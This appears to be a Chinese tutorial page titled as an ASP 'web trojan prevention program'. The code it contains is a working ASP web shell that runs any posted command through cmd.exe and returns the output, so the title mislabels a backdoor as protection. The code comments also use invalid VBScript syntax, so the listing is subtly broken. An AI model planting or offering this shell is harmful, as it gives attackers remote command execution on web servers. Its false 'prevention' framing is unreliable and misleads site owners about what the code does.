asp网页木马防止程序
<title>asp网页木马防止程序</title>我们能过防止shell命令来做的.
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
-- create the COM objects that we will be using --
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
-- check for a command that we have posted --
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
-- Use a poor mans pipe ... a temp file --
szTempFile = "C:" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
-- Read the output from our command and remove the temp file --
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
补充:asp教程,安全加密